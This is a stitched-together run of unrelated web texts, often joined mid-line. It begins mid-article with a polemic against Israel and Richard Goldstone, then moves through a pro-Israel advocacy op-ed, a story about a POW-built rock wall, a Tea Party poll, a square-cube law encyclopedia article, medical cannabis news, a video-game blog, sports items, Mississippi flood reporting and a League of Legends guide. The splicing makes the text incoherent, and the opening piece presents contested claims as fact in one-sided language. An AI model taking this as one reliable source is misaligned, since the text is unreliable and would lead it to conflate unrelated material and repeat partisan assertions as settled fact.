Goldstone, however, was lying about the contents of the both the Goldstone Report and the follow-up committee’s report. He claimed the Fact-Finding Mission had not examined any evidence presented by Israel. That was false. In fact, the Mission fully took into account Israel’s own reports of its self-investigations that had occurred.
Goldstone also set up his op-ed on the premise of a strawman argument: the claim was ostensibly now retracting was that Israel had a policy of deliberately targeting Palestinian civilians for death. In fact, this was not a finding of the Fact-Finding Mission’s report. Rather, the Mission concluded that Israel’s policy was to punish the civilian population through the deliberate use of disproportionate force. By setting up this strawman argument, Goldstone avoided having to “retract” the Mission’s actual findings.
Further, he quoted the follow-up committee’s finding that “Israel has dedicated significant resources to investigate over 400 allegations of operational misconduct in Gaza”, but he withheld from readers the fact that the committee found that these investigations lacked credibility.
After Goldstone’s disgraceful betrayal of justice, his three co-authors publicly criticized his op-ed and pointed out that information that had since come to light — including the findings of the follow-up committee Goldstone was deceptively relying on to support his own argument — did not change the Mission’s conclusions, but bolstered them.
For a complete debunking of this Zionist hasbara talking point, see Chapter 7, Subchapter “Goldstone’s Betrayal” in Obstacle to Peace
10. Hamas was responsible for initiating the round of violence that culminated in Israel’s launching of “Operation Pillar of Defense” in 2012.
As with Operation Cast Lead, the truth is dramatically different.
Israeli apologists — including US government officials and US mainstream media commentators — cited as the initiating event a Hamas attack on an Israel Defense Forces (IDF) jeep just days before Israel launched its operation. What was withheld from readers in this Zionist hasbara was the fact that this was an attack on IDF forces that had invaded Gaza and was in part retaliation for the IDF’s murder of a thirteen-year-old Palestinian boy shortly prior.
Furthermore, just the day before Israel launched its operation, once again Hamas had agreed to a ceasefire that was then violated by Israel. In fact, Israel took advantage of the opportunity created by Hamas’s acceptance of the ceasefire to draw out and assassinate a senior Hamas official, Ahmed al-Jabari one of the initiating events of its “Operation Pillar of Defense”. Israel’s Orwellian justification for this operation was that it was intended to re-establish calm — the very calm that was shattered by its launch of the operation and assassination of Jabari.
For a complete timeline of events leading up to “Operation Pillar of Defense” and details of events occurring during that assault on Gaza, including Israel’s commission of further war crimes, see Chapter 10, Subchapter “‘Operation Pillar of Defense'” in Obstacle to Peace
Conclusion
For peace and justice to be realized, the lies have to be exposed and the true nature of the conflict must come to light. There needs to be a paradigm shift in which it is no longer feasible for mainstream media outlets — which effectively serve the role of manufacturing consent for the US policy of supporting Israel’s crimes against the Palestinians — to mindlessly parrot US and Israeli government claims and peddle deceitful propaganda.
Zionist apologists for Israel’s behavior employ numerous hasbara talking points to try to justify its crimes. Knowing how to effectively counter the propaganda is key to effecting the necessary paradigm shift for peace to be achieved.
You as an individual can play an important role in helping to effect that paradigm shift.
Empower yourself with the knowledge you need to become an effective voice for peace.
Educate yourself and gain the confidence you need to speak up and correct those around you who have been misinformed about the true nature of the conflict.
Challenge the Zionist apologists when you encounter them on Facebook or Twitter and know how to destroy their propagandistic talking points with the truth.
If we want peace, government isn’t going to get the job done. It’s up to us. Go to it!A family wants to mark the importance of a large rock wall built almost a century ago by two German prisoners of war in Corner Brook.
A 350-meter rock wall spans the boundary of the Bartlett family property in Corner Brook, and it tells an unusual story from the First World War.
"It was quite a lot of work as you can see," says Frank Bartlett. "Some of the rocks are very large and heavy."
A century ago, two Germans were on a schooner in the Bay of Islands buying fish when they were captured and jailed for three years during the First World War.
Two German prisoners of war built a 350-metre rock wall. (Colleen Connors/CBC) "At that time we were under English rule and because the countries involved were at war with Germany, they were taken in as prisoners," said Bartlett.
Bartlett's great-grandfather Isaac Bartlett was the RNC district inspector at the time. He let them out of jail daily to collect rocks and build the wall.
The prisoners went back to Germany three years later but wrote to thank Isaac Bartlett for his hospitality — and Mrs. Bartlett for her delicious rabbit pie.
Now Frank Bartlett wants this piece of history recognized because of the 100th anniversary of the First World War. He also believes the rock wall is unique in Canada.
Bartlett plans on selling the six acres of land surrounding the wall, but hopes future owners will keep the wall for another hundred years.If Israel is to remain relevant for a new generation of North American college students, its friends and supporters need to urgently change their arguments. Generation Z is no longer accepting the paradigms of the past.
Arguing that Israel exists because of the Holocaust, whilst never historically correct, today is distancing many Jews from a real and meaningful relationship with Israel.
Israel as a safety haven for Jews, ”in case there is another holocaust,” is finally proving itself as the shallow argument that it is. Life for American Jews is good and assimilation is a bigger threat than anti-Semitism. I have visited Beverley Hills in California and the Jews there are not suffering.
The time has come to change the Israel advocacy record, because this generation of university students has never owned a record and consider the traditional Israel discourse irrelevant to them.
If Israel is to remain relevant its supporters must recapture the liberal left, to continue to ignore them is a recipe for disaster. The Christian right have proven true friends of Israel, but by relying on their unwavering support Israel has distanced itself from the even more influential liberal mainstream.
The large majority of American Jews believe in abortion, gay rights and a pluralistic outlook. “Israel belongs to the Jews because of God’s covenant with Abraham” may be persuasive in the bible belt but not for the majority of young, assimilated American Jews.
Israel advocates need to find a voice that speaks to liberal America and not just the religious right. To do otherwise would be to lose a generation to the folly of J Street and their questionable Zionist credentials or even into supporting BDS. which has enveloped itself in the language of supporting the underdog, social justice and political correctness.
Despite Israel’s liberal credentials most liberals are falling automatically into the anti Israel camp. This fact necessitates those involved in Israel education to have a realistic appraisal of their methodology.
A recipe for success, of six basic principles, needs to be urgently applied.
Firstly – stop advocating Israel’s case, start educating about Israel. Show dilemmas, show choices, raise questions and show flaws. Israel is not all perfect nor is it all bad.
Secondly – remember empathy. Supporting Israel does not necessitate delegitimizing the rights of the Palestinian people.
Thirdly – speak the language of your audience. We must be able to the justify Jewish claim as an indigenous people’s right to their land and not as a God given gift.
Fourthly – stop giving out free copies of Alan Dershowitz’s “The Case for Israel.” Nobody under the age of twenty-five has read it. If you can’t explain the case for Israel in 90 seconds on YouTube or in ten points in Buzzfeed, don’t bother, nobody is listening.
Fifthly. Attack from the left – not the right. Showing that the boycotters of Israel are not interested in peace, but are stopping Israelis and Palestinian cooperation is more effective than talking about the Ishmael and Yitzhak.
Six – Stop sounding like a Jihad Jew. Are you really convincing the person you are talking to or are you convincing yourself? If you want to convince somebody you must show a contradiction between his or her value system and their belief.
If Israel is to remain relevant to this generation of students we must rediscover what is left of liberal Zionist values, because let’s admit it – no country is always right.Just 8% Now Say They Are Tea Party Members
Views of the Tea Party movement are at their lowest point ever, with voters for the first time evenly divided when asked to match the views of the average Tea Party member against those of the average member of Congress. Only eight percent (8%) now say they are members of the Tea Party, down from a high of 24% in April 2010 just after passage of the national health care law.
A new Rasmussen Reports national telephone survey finds that only 30% of Likely U.S. Voters now have a favorable opinion of the Tea Party. Half (49%) of voters have an unfavorable view of the movement. Twenty-one percent (21%) are undecided. (To see survey question wording, click here.)
The survey of 1,000 Likely Voters was conducted on January 3-4, 2013 by Rasmussen Reports. The margin of sampling error is +/- 3 percentage points with a 95% level of confidence. Field work for all Rasmussen Reports surveys is conducted by Pulse Opinion Research, LLC. See methodology.
ORTwo New Sciences (1638). The square–cube law was first mentioned in(1638).
The square–cube law (or cube–square law) is a mathematical principle, applied in a variety of scientific fields, which describes the relationship between the volume and the surface area as a shape's size increases or decreases. It was first described in 1638 by Galileo Galilei in his Two New Sciences as the "...ratio of two volumes is greater than the ratio of their surfaces".[1]
This principle states that, as a shape grows in size, its volume grows faster than its surface area. When applied to the real world this principle has many implications which are important in fields ranging from mechanical engineering to biomechanics. It helps explain phenomena including why large mammals like elephants have a harder time cooling themselves than small ones like mice, and why building taller and taller skyscrapers is increasingly difficult.
Description [ edit ]
A against volume, V of the Platonic solids and a sphere, showing that the surface-area-to-volume ratio decreases with increasing volume. Graphs of surface area,against volume,of the Platonic solids and a sphere, showing that the surface-area-to-volume ratio decreases with increasing volume.
The square–cube law can be stated as follows:
When an object undergoes a proportional increase in size, its new surface area is proportional to the square of the multiplier and its new volume is proportional to the cube of the multiplier.
Represented mathematically:[2]
A 2 = A 1 ( ℓ 2 ℓ 1 ) 2 {\displaystyle A_{2}=A_{1}\left({\frac {\ell _{2}}{\ell _{1}}}\right)^{2}}
where A 1 {\displaystyle A_{1}} is the original surface area and A 2 {\displaystyle A_{2}} is the new surface area.
V 2 = V 1 ( ℓ 2 ℓ 1 ) 3 {\displaystyle V_{2}=V_{1}\left({\frac {\ell _{2}}{\ell _{1}}}\right)^{3}}
where V 1 {\displaystyle V_{1}} is the original volume, V 2 {\displaystyle V_{2}} is the new volume, ℓ 1 {\displaystyle \ell _{1}} is the original length and ℓ 2 {\displaystyle \ell _{2}} is the new length.
For example, a cube with a side length of 1 meter has a surface area of 6 m2 and a volume of 1 m3. If the dimensions of the cube were multiplied by 2, its surface area would be multiplied by the square of 2 and become 24 m2. Its volume would be multiplied by the cube of 2 and become 8 m3.
The original cube (1m sides) has a surface area to volume ratio of 6:1. The larger (2m sides) cube has a surface area to volume ratio of (24/8) 3:1. As the dimensions increase, the volume will continue to grow faster than the surface area. Thus the square–cube law. This principle applies to all solids.[3]
Applications [ edit ]
Engineering [ edit ]
When a physical object maintains the same density and is scaled up, its volume and mass are increased by the cube of the multiplier while its surface area increases only by the square of said multiplier. This would mean that when the larger version of the object is accelerated at the same rate as the original, more pressure would be exerted on the surface of the larger object.
Consider a simple example of a body of mass, M, having an acceleration, a, and surface area, A, of the surface upon which the accelerating force is acting. The force due to acceleration, F = M a {\displaystyle F=Ma} and the thrust pressure, T = F A = M a A {\displaystyle T={\frac {F}{A}}=M{\frac {a}{A}}}.
Now, consider the object be exaggerated by a multiplier factor = x so that it has a new mass, M ′ = x 3 M {\displaystyle M'=x^{3}M}, and the surface upon which the force is acting has a new surface area, A ′ = x 2 A {\displaystyle A'=x^{2}A}.
The new force due to acceleration F ′ = x 3 M a {\displaystyle F'=x^{3}Ma} and the resulting thrust pressure,
T ′ = F ′ A ′ = x 3 x 2 × M a A = x × M a A = x × T {\displaystyle {\begin{aligned}T'&={\frac {F'}{A'}}\\&={\frac {x^{3}}{x^{2}}}\times M{\frac {a}{A}}\\&=x\times M{\frac {a}{A}}\\&=x\times T\\\end{aligned}}}
Thus, just scaling up the size of an object, keeping the same material of construction (density), and same acceleration, would increase the thrust by the same scaling factor. This would indicate that the object would have less ability to resist stress and would be more prone to collapse while accelerating.
This is why large vehicles perform poorly in crash tests and why there are limits to how high buildings can be built. Similarly, the larger an object is, the less other objects would resist its motion, causing its deceleration.
Engineering examples [ edit ]
Steam engine: James Watt, working as an instrument maker for the University of Glasgow, was given a scale model Newcomen steam engine to put in working order. Watt recognized the problem as being related to the square–cube law, in that the surface to volume ratio of the model's cylinder was greater than that of the much larger commercial engines, leading to excessive heat loss.[4] Experiments with this model led to Watt's famous improvements to the steam engine.
Airbus A380: the lift and control surfaces (wings, rudders and elevators) are relatively big compared to the fuselage of the airplane. For example, taking a Boeing 737 and merely magnifying its dimensions to the size of an A380 would result in wings that are too small for the aircraft weight, because of the square–cube rule.
Expander cycle rocket engines suffer from the square–cube law. Their size, and therefore thrust, is limited by heat transfer efficiency due to the surface area of the nozzle increasing slower than the volume of fuel flowing through the nozzle.
A clipper needs relatively more sail surface than a sloop to reach the same speed, meaning there is a higher sail-surface-to-sail-surface ratio between these craft than there is a weight-to-weight ratio.
Aerostats generally benefit from the square–cube law. As the radius ( r {\displaystyle r} r 2 {\displaystyle r^{2}} r 3 {\displaystyle r^{3}}
Structural Engineering: Materials that work at small scales may not work at larger scales. For example, the compressive stress at the bottom of small free-standing column scales at the same rate as the size of the column. Therefore, there exists a size for a given material and density at which a column will collapse on itself.
Biomechanics [ edit ]
If an animal were isometrically scaled up by a considerable amount, its relative muscular strength would be severely reduced, since the cross section of its muscles would increase by the square of the scaling factor while its mass would increase by the cube of the scaling factor. As a result of this, cardiovascular and respiratory functions would be severely burdened.
In the case of flying animals, the wing loading would be increased if they were isometrically scaled up, and they would therefore have to fly faster to gain the same amount of lift. Air resistance per unit mass is also higher for smaller animals, which is why a small animal like an ant cannot be seriously injured from impact with the ground after being dropped from any height.
As stated by J. B. S. Haldane, large animals do not look like small animals: an elephant cannot be mistaken for a mouse scaled up in size. This is due to allometric scaling: the bones of an elephant are necessarily proportionately much larger than the bones of a mouse, because they must carry proportionately higher weight. Haldane illustrates this in his seminal 1928 essay On Being the Right Size in referring to allegorical giants: "...consider a man 60 feet high...Giant Pope and Giant Pagan in the illustrated Pilgrim's Progress:...These monsters...weighed 1000 times as much as Christian. Every square inch of a giant bone had to support 10 times the weight borne by a square inch of human bone. As the average human thigh-bone breaks under about 10 times the human weight, Pope and Pagan would have broken their thighs every time they took a step."[5] Consequently, most animals show allometric scaling with increased size, both among species and within a species. The giant creatures seen in monster movies (e.g., Godzilla, King Kong, and Them!) are also unrealistic, given that their sheer size would force them to collapse.
However, the buoyancy of water negates to some extent the effects of gravity. Therefore, sea creatures can grow to very large sizes without the same musculoskeletal structures that would be required of similarly sized land creatures, and it is no coincidence that the largest animals to ever exist on earth are aquatic animals.
The metabolic rate of animals scales with a mathematical principle named quarter-power scaling[6] according to the metabolic theory of ecology.
Mass and heat transfer [ edit ]
Mass transfer such as diffusion to smaller objects such as living cells is faster than diffusion to larger objects such as entire animals. Thus, in chemical processes that take place on a surface - rather than in the bulk - finer-divided material is more active. For example, the activity of a heterogeneous catalyst is higher when it is divided into finer particles.
Heat production from a chemical process scales with the cube of the linear dimension (height, width) of the vessel, but the vessel surface area scales with only the square of the linear dimension. Consequently, larger vessels are much more difficult to cool. Also, large-scale piping for transferring hot fluids is difficult to simulate in small scale, because heat is transferred faster out from smaller pipes. Failure to take this into account in process design may lead to catastrophic thermal runaway.
See also [ edit ]Bringing |
have maintained for several years. The added advantage will be that more jobs will be created in the process, at least in the geographical region of Islamabad. While the project would commence construction in March 2016, let us keep on hoping that the project is not met with further delays and hiatuses, since it could require the Chinese investors to start adding more money as a result of the delay.Minnesotans who suffer from post-traumatic stress disorders will be eligible to try medical cannabis starting Aug. 1.
To receive the drug through the program, patients need to visit a health care professional who must then certify to the Minnesota Department of Health that the patients suffer from the condition. Once certified, patients can then register on the state health department’s website. Registration for PTSD started July 1.
Before this summer, people who suffer the effects of traumatic stress were not eligible for the drug.
But the 2014 state law that created the system that allows Minnesotans access to nonsmokable marijuana without fear of state penalties authorizes the state commissioner of health to add qualifying medical conditions to the program.
Last year, after a decision from the health commissioner, people who suffer from intractable pain, as certified by their medical providers, became eligible.
The U.S. Department of Veterans Affairs gives a sharply negative review of the use of medical marijuana to treat PTSD on its website. But current VA Secretary David Shulkin said this spring that there is “some evidence” the drug may be helpful to veterans, according to reports.
Some 7,700 Minnesotans are registered in the medical cannabis program, according to the state Department of Health.
As of a January report, a majority of those receiving medical cannabis suffered from intractable pain, followed by muscle spasms and cancer. Scott Smith, a health department public information officer, said the department did not have an estimate of the number of people who would enroll who suffer from PTSD. As of Wednesday, the fifth day registration was available, two PTSD patients had registered with the state medical cannabis program.
A National Institute of Mental Health report says that 3.5 percent of the U.S. population suffers from PTSD anxiety in a yearlong period.“It’s sure been a cold, cold winter and a lotta love is all burned out.”
Did you ever realize that most platformers follow the same kind of pattern for their levels? I mean, you have the classic forest level (normally the first level), then you have the Magma Zone level, the Water level, The Clouds level and today’s topic: the classic Ice Level.
The first Ice level that I ever played.
It’s like something that they teach in the first year of basic programming, like 1 = 0. It’s a rule that each platformer should have an Ice Level. But what elements would comprise these levels? Let’s take a look at some well known and lesser known examples.
Gotta Skate Fast
I can count at least four games (Sonic 3, Yoshi’s island, Megaman 8 and Megaman X8) where you have to slide though a frozen mountain, an ice slide or just some badass ice vehicle. But you know what? These events are awesome and I love them. I don’t know if this is just a theme from the most classic platforming franchises such as Mario, Megaman or Sonic, but I hardly ever see these in games from other franchises.
Well, if it wasn’t for these white squares it would hard to spot that girl.
This is something that you’ll see more in modern video games, especially in third person games or racing games, where the snow storm is so damn strong that you can’t see anything (not even your adoptive daughter); not to mention mist or hail storms. This is where you have to be alert to anything that could happen, and trust me, in survival horror games this effect is absolutely chilling.
As you see in old cartoons, what begins as a small ball of snow becomes a giant snowball that destroys anything or anybody in its path, unless you are that giant snowball (Wario land 3). Giant snowballs and avalanches are well-known as the “one hit you are dead” kind of trap in video games (like the lava floor in the volcanic levels, but we will talk about that sooner or later). But to be honest, not all the giant snowballs are bad. In some games, they can be used as platforms to reach higher sections, like in Yoshi’s Island.
I just got freezer burn
If I had a coin for each ice stalactite that fell on me, I would have enough money to buy a PS4. Stalactites are one of the most well-known traps in video games. It’s that classic spike that falls from the roof to kill you. I personally don’t know if there’s a secret wire or something that actives this spike, or if it’s just a coincidence that this thing falls as soon as you get close to it. The Ice Stalactites are more common than the ones made of rock. It also acts as a trap that makes you ask a big philosophical question: “Should I wait or run?” If you walk, you most certainly die. You can run very fast to avoid it, or you can slowly approach and stop as soon as the stalactite falls, but if you do, you would lose a lot a time. Avoiding an Ice Stalactite is a really big deal when you are playing in hardcore mode.
When you’re drunk, every floor is like a frozen floor.
You know what I’m talking about. Platformer experts know the principal element of the ice levels: that damn floor is where you can’t walk without falling off the platform, not being able to hit jump before slipping off, or for running too fast and not having enough space to stop. This is where all the previous elements become even more annoying: the Ice stalactites pierce your body, the avalanches are hard to avoid, and jumping from one platform to another becomes a pain in the ass.
For me, these are the elements that characterize an Ice Level. I could add the “thin” ice, but to be fair, a floor that disintegrates as soon as you touch it is something common in every kind of level, not just ice levels.
If you’ve played Dark Souls, and been to Blighttown, then you know all about disintegrating platforms.
Normally, the enemies in these games are usually animals that live in cold temperatures, such as penguins, walrus, bunnies etc. But the ones that stand out are the Snowman/Ice monster and the Yeti. I don’t care much about the rest of the enemies, but you need to have at least one of these in the level.
The Snowman (Or a golem made of ice) is an iconic element of Ice Levels, especially around Christmas. Not having one is kind of shameful; at least having one in the background is fine. It’s not necessary for them to be enemies, but they perfectly match the atmosphere.
But when they are enemies, they really can be creepy as hell, as we’ve seen in Ghostbusters for Sega Genesis
Yetis (Or bigfoots) on the other hand are more well-known as enemies, or at least monsters you have to shoot even if you don’t want to (Red Dead Redemption). For me, these enemies are kind of fun to have (Like in Metal Slug 2 or 3), but they aren’t that good when compared to snowmen.
The Robo-Yeti from Megaman X8 also count.
The elements I have discussed in this article are the most common I have found in video games. Taken individually, they are not that problematic, but try to imagine a level with all of these elements included at the same time. That would be a nightmare, but an awesome nightmare.
Slayer-Quest: A winter’s taleThe Pittsburgh Steelers unveiled a uniform patch that players will wear to honor the late Dan Rooney.
The patch contains Rooney's initials "DMR" (Daniel Milton Rooney) inside a black and gold shamrock. In April, Rooney died at the age of 84.
"We wanted to have something my dad would be proud of and really called out parts of his life that were important to him," Steelers President Art Rooney II said. "The shamrock is something he would be happy about.
"I know he wouldn't want us to make too much of a fuss. I think wearing a jersey patch, he would be proud of that. It's a great way for all of us to remember what he meant to each one of us and what he meant to the organization."
We will wear a patch on our jerseys this season to honor Dan Rooney.
MORE: https://t.co/SRUWiTQUtC pic.twitter.com/d2cSr2xEbo â Pittsburgh Steelers (@steelers) July 24, 2017
Dan Rooney served as the United States Ambassador to Ireland from 2009-2012.
"It's going to mean so much to wear it," Maurkice Pouncey said of the patch. "For me personally, I was really close to him. He was an excellent guy, a great person to be around. He knew everybody. He was really respected. I hope we can honor him as much as possible. It would mean a lot to all of us players and Steelers Nation."
The Steelers wore a jersey patch when team founder Art Rooney Sr. died in 1988. They donned a helmet decal when legendary coach Chuck Noll died in 2014.Manchester United striker Danny Welbeck
Manchester United striker Danny Welbeck is considering leaving the club.
The 23-year-old, who favours a central striking role, is frustrated at being used regularly in other positions.
He has two years left on his contract but is debating whether to move rather than accept a new deal if offered one.
Asked about Welbeck's future after United's 2-0 defeat at Everton on Sunday, manager David Moyes said: "Danny Welbeck is really important to me and I really value him."
Moyes added: "As you know, there have been a lot of stories."
Did you know? Welbeck scored more goals for England than United last season, scoring three times in seven matches for Roy Hodgson's side (strike rate: 0.43 goals per game), compared to twice in 40 appearances under then Reds boss Sir Alex Ferguson (strike rate: 0.05).
Welbeck has scored 10 times in 32 United appearances this season and is expected to be in Roy Hodgson's England squad for this summer's World Cup.
With Wayne Rooney, Robin van Persie, Javier Hernandez and £37.1m January signing Juan Mata all competing with Welbeck for a starting position up front for United, manager David Moyes is unlikely to offer him any assurances about next season.
There would be no shortage of suitors should he opt to leave - although United know that the Manchester-born academy graduate is held in affection by the club's supporters.
Welbeck scored only two goals last season, although one of those came against Real Madrid at the Bernabeu.Watch "The CMT Disaster Relief Concert," co-hosted by HLN's Robin Meade, to help raise money for victims recently devastated by storms, tornadoes and flooding in the Southeast. "Music Builds" airs Sunday night at 9 ET on HLN.
Morganza, Louisiana (CNN) -- The U.S. Army Corps of Engineers opened the first of potentially several bays of the Morganza spillway on Saturday afternoon, a move intended to spare some areas from severe flooding while redirecting water into others.
"We think there is a successful operation going on right now," Col. Ed Fleming, the Corps' New Orleans District Commander, told CNN an hour after the first floodgate was opened.
Fleming explained that the difficult decision to open the spillway, and similar ones made in recent weeks, is being done to address a historic excess of water in the Mississippi River system, including its tributaries.
On Saturday afternoon, the river was cresting near Helena, Arkansas, at 56.4 feet -- 12.4 feet above the flood stage, the level at which the river may begin flowing over its banks -- the National Weather Service noted on its website. That crest, or high point of water, was moving slowly and steadily southward.
The move in Morganza, about 115 miles northwest of New Orleans, will lower anticipated cresting levels -- as well as lessen the potential for severe flooding caused by things like overtopped levees and cracks in flood-control structures -- along the rising Mississippi River and divert water from Baton Rouge and New Orleans. But it will flood parts of low-lying south-central Louisiana.
Fleming said that one or two other additional bays of the flood-control structure would likely be opened Sunday, and more gates could be opened later depending on water levels. The Corps could choose to let out as much as 600,000 cubic feet of water per second, with Saturday's opening leading to the release of 10,000 cubic feet per second.
"As the river needs it, we'll open it," said Fleming, referring to the spillway's bays.
By 2:30 p.m. Saturday, all those "within the first 24 hours" -- meaning, those who should see flooding caused directly by the spillway's opening -- had evacuated, Fleming said.
The opening came after several days of warning, as residents in the flood zone prepared to move to save their lives, even if their homes were washed away. Louisiana Gov. Bobby Jindal predicted this week the high water resulting from the Morganza spillway opening could impact 3,900 people and 2,600 structures.
"Right now, a lot of people are real nervous about it. It's sad," said Larry Doiron, a resident of Stephenville, a town that could face flooding because of the spillway's opening. "We need to have protection so that they don't flood us."
He said his subdivision would likely be fine, as it was built at a relatively high elevation, but that his neighbors were building additional levees and putting out sandbags.
Seven Louisiana parishes -- Pointe Coupee, St. Landry, St. Martin, Iberia, Iberville, St. Mary and Terrebonne -- will likely be affected by the first opening of the spillway since 1973, according to the Corps.
Fleming said Saturday that the spillway will likely be open for weeks, and it will be at least until that long that those who have evacuated can safely return. That's because that, even after the river crests at a certain point, it will take considerable time -- in some cases, weeks -- before it falls back below the flood stage.
Morgan City, which sits on the banks of the Atchafalaya River, is among those communities expected to see rising water. The Corps has joined with state and local authorities to build-up safeguards in that community of about 11,600 people, according to the U.S. Census Bureau.
"Really, we're just waiting," said Evie Bertaut, who has lived in Morgan City for 50 years.
Officials believe that the levees will protect the city from flooding, but some are taking preliminary precautions, she said. At Sacred Heart Church, where Bertaut works, people spent the day Friday moving important documents such a baptismal, marriage and financial records to the second floor.
"Most people are getting their photographs together, things that you can't replace in case you have to go," she said.
The river's slow pace has given emergency responders more time to prepare, forecasters said. But while the slow-moving water gives residents extra time to get ready, it also means that land could remain under water for some time.
Louisiana state authorities have been working with federal and local counterparts to combat flooding -- or, in some cases, prepare for it -- in 19 of its 64 parishes.
That includes bringing in 700 National Guardsmen, as well as state police officers and prison inmates to lay down sandbags, direct traffic and otherwise deal with the crisis, the state's office of homeland security and emergency preparedness said in a release Saturday. They have brought in and laid out thousands of linear feet of HESCO flood-control material, as well as rought in hundreds of yards of reclaimed asphalt, sand and other substances aimed to keep floodwaters at bay.
The National Weather Service said that as of noontime Saturday, the river was at 16.8 feet in New Orleans, just a fraction below flood stage. It is expected to crest May 23 at about 19.5 feet. The New Orleans levees are built to withstand 20 feet, according to the weather service.
Still, the effects there could be felt soon: The U.S. Coast Guard said floodwaters could close the Mississippi River to ships at the New Orleans port as early as Monday morning.
To help New Orleans, the Army Corps of Engineers said Friday that it will open 52 more bays at the Bonnet Carre Spillway just north of the city, diverting water into Lake Pontchartrain. That will mean a total of 264 bays will be open in the 350-bay spillway.
In Vicksburg, Mississippi, the river is expected to crest at 57.5 feet May 19. This would be significantly above the flood stage at Vicksburg of 43 feet.
Homes that were built between the levee and the Mississippi River were the first affected.
"We estimate that every home built on the river side of the levee from Memphis all the way to the Louisiana line is flooded," said Mike Womack, executive director of the Mississippi Emergency Management Agency.
Residents near Vicksburg counted on a levee for protection. In addition to the mainline levee along the river, starting near Vicksburg and extending northeast for more than 20 miles, a so-called backwater levee offers shelter.
The backwater levee is designed to keep water from backing into the Yazoo River delta and is designed lower than the mainline levee so that water can flow over it. That level is expected to be reached Monday, said Charlie Tindall, attorney for the Board of Mississippi Levee Commissioners.
The backwater levee was being "armored" by a heavy plastic coating to prevent it from washing out, he said.
"There's a chance it might not make it through an over-topping event," said Mississippi Levee Board Chief Engineer Peter Nimod about the backwater levee. "There is a risk. We don't think it will break, but we want people to be prepared."
"It's hard to plan for a multi-100-year event," he said.
Nonetheless, 1.4 million acres in Mississippi, including 602,000 acres where crops are growing, could flood, said Rickey Grey of the state's Department of Agriculture.
Across the South and lower Midwest, floodwaters have covered about 3 million acres of farmland, eroding for many farmers what could have been a profitable year for corn, wheat, rice and cotton, officials said.
CNN's Ed Lavandera, Mariano Castillo, Mia Aquino and Erica Henry contributed to this report.LOS ANGELES, CA - AUGUST 27: Political commentator and author Ann Coulter attends The Comedy Central Roast of Rob Lowe at Sony Studios on August 27, 2016 in Los Angeles, California. (Photo by Alberto E. Rodriguez/Getty Images)
BERKELEY (CBS) — Well, it’s off again. The on-again, off-again Berkeley speech by conservative pundit Ann Coulter is once again on hold.
According to the New York Times, Coulter believes she is putting her safety in jeopardy by going ahead with the speech tentatively scheduled for 4 p.m. Thursday on Berkeley’s Sproul Plaza.
Coulter then told the Fox News Channel that she is backing out due to safety concerns.
BREAKING: @AnnCoulter tells Fox News 'there will be no speech' at UC Berkeley amid threats of violence. pic.twitter.com/2TXWJ9m94p — Fox News (@FoxNews) April 26, 2017
Berkeley has been the scene of two violent clashes between alt right and anti-fascist proponents in the last three months. There have been numerous arrests, thousands of dollars in property damage and injuries.
In a message to the Times, Coulter called it — “a sad day for free speech.”As a jungler, few things are as frustrating as lanes dying before you even have the chance to help them, because you quickly feel as if you are helpless to do anything about it- but that’s not quite the case usually.
The Art of Prediction
As I’ve stressed before, understanding match ups is vital to successful jungling. If you don’t know what your laner needs from the jungler (and more importantly, when they need it), how do you expect to give them the help they need when they need it? However, if you understand how a match up plays out, you can put yourself in the right place at the right time. Some champions (Fiora, Riven, and Tryndamere are the ones that come readily to my mind- there are certainly more) seem to get first blood a disproportional amount of the time. Even if I don’t play those champions, I can surmise that if one of them is in the game on either side, a kill (or near-kill) will probably happen at level 1. While I don’t know who will outplay who, my presence there will insure that the game isn’t lost in the first 5 minutes, and very possibly swing it massively in our favor instead. Of course, this might mean I need to start at a different buff than usual.
The risk of running to a lane right away is that you’ll lose clearing time and fall behind the enemy jungler, potentially waste time with a buff, and (depending on the enemy jungler’s route) possibly have the second buff burgled. Weigh your options carefully, if the risk of getting a buff stolen is severe (e.g. the enemy jungler is Shyvana and will be on that side of the map after clearing her second buff), then a few words of caution to the lane in question is probably the best you can do in terms of prevention. Of course, if your laner(s) close to that buff is willing to ward the buff and respond to the invade, then you’re free to do as you please- but that requires communication on your part and cooperation on theirs.
In order to defend your jungle in this manner, you need to be actively thinking about the enemy jungler’s movements, and predicting when and where they will do what. I find it easiest to predict enemy junglers by starting with what kind they are. This gives an idea of where they will want to be (e.g. farming jungles will want to sit in their jungle clearing), and from there it’s usually pretty easy to judge the pace they go at. Of course, it’s important to remember that everyone jungles differently, and will react to opportunities as they arise. For example, Yi might be a farming jungler, but if he’s at blue golems and sees 2 low health bot laners, he’ll changes modes and go to farm champions. The trick is to know that he’s at golems when bot gets into the engage that gets them low, and ping them back before he gets there. It might sound difficult to “just know” where the enemy jungler is at all times, but if you gauge it off of how fast they clear, and where they started/were last seen, you can be fairly accurate in your predictions (less so the longer they stay in the dark).
The Happeningest Place in Town
Regardless of where you think the jungler will be, wherever action actually takes place is where you want to be. Just like you want to be at a level 1 fight because you can sway the outcome vastly in your favor, you want to be at every other fight during the laning phase for the same reason. While it can be difficult to know when exactly fights will break out, if people are low health, have summoners burned, or kills have happened in that lane already, it’s highly probable that one side is going to try to exploit that advantage, and fights will be happening. This is why it’s important to monitor lanes when clearing jungle, and glance at the health bars on the side frequently- you can use that information to guide yourself into being in the right place at the right time to prevent disaster and sometimes even turn it on it’s head and create a disaster for the other team.
So when your bot lane gives up a double kill, it’s a pretty safe bet that you need to schedule a stop there soon. The difficulty lies in figuring out when a lane is beyond help– when your presence is no longer able to do any good (which is different from the lane being lost). There aren’t any hard and fast rules to determine when this is, it’s largely something you have to feel out- but if you use your ultimate plus your laner(s) and don’t get anything for it, then staunching the bleeding is about all you can hope for- and whether or not that is worthwhile depends on the state of your other lanes, and how safely the troubled lane can operate without you there.
Remember that when you are behind, trying to make giant plays to comeback will usually end up not being effective. While bot may have given up a double kill, your gank may only get one person, and if you want to bring the lane back even you will have to gank again. Exercise extreme caution when going for a big play when behind, don’t walk past the first target and go for the second target unless you have 100% certainty that your teammates will finish off the first target. Inch your way back into games; giant leaps end in disgrace. When you extend yourself for big plays when you are weaker than the enemy team you put yourself at risk to not reap anything, or worse yet have the play backfire.
When Ganks go Bad
